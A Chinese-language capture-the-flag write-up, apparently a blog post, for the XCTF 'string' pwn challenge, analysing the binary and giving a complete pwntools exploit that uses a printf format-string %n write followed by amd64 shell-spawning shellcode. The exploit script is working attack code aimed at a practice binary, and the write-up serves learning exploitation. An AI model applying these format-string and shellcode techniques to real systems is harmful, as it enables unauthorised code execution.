攻防世界 - pwn - string

A、程序分析

  1、

  攻防世界 - pwn - string_第1张图片

  输入的角色名长度小于0Ch进入主线

  2、函数 sub_400A7D

   攻防世界 - pwn - string_第2张图片

  输入east即可

  3、函数 sub_400BB9

   攻防世界 - pwn - string_第3张图片

    输入1进入分支,printf()内容由我们输入,是一个利用点

  4、函数 sub_4004A6

    攻防世界 - pwn - string_第4张图片

  程序开始通过malloc获取了8byte空间,比较其前后4byte内容是否一致,一致则读取输入并执行

B、利用分析

  1、程序开始打印了malloc获取的地址

  2、printf()前获取"ld"数据,通过printf()下手修改指定内存值

       注意:64位寄存器前6个参数传递 rdi,rsi,rdx,rcx,r8,r9,其余的参数通过堆栈传递,从第7个参数开始,开始查询堆栈内容,

printf - format ->%n 可以将之前内容的大小保存到指定内存,因此构造payload修改传入地址

   攻防世界 - pwn - string_第5张图片

3、构造shellcode

  通过数据比较后,执行构造好的shellcode 依次来获取flag。刚开始学习,shellcode就拿现有的来使用

C、exp

#!/usr/bin/python3
from pwn import *

payload = 'A'*85 + '%7$n'
shellcode = asm(shellcraft.amd64.sh(),arch="amd64")

p = process('./string')
p.recvuntil("secret[0] is ")
malloc_adress = int(p.recv(7),16)

p.sendlineafter("What should your character's name be",'1')
p.sendlineafter("So, where you will go?east or up?",'east')
p.sendlineafter("go into there(1), or leave(0)?",'1')
p.sendlineafter("Give me an address",str(malloc_adress))
p.sendlineafter("And, you wish is:",payload)
p.sendlineafter("Wizard: I will help you! USE YOU SPELL",shellcode)

p.interactive()
 

 

你可能感兴趣的:(攻防世界 - pwn - string)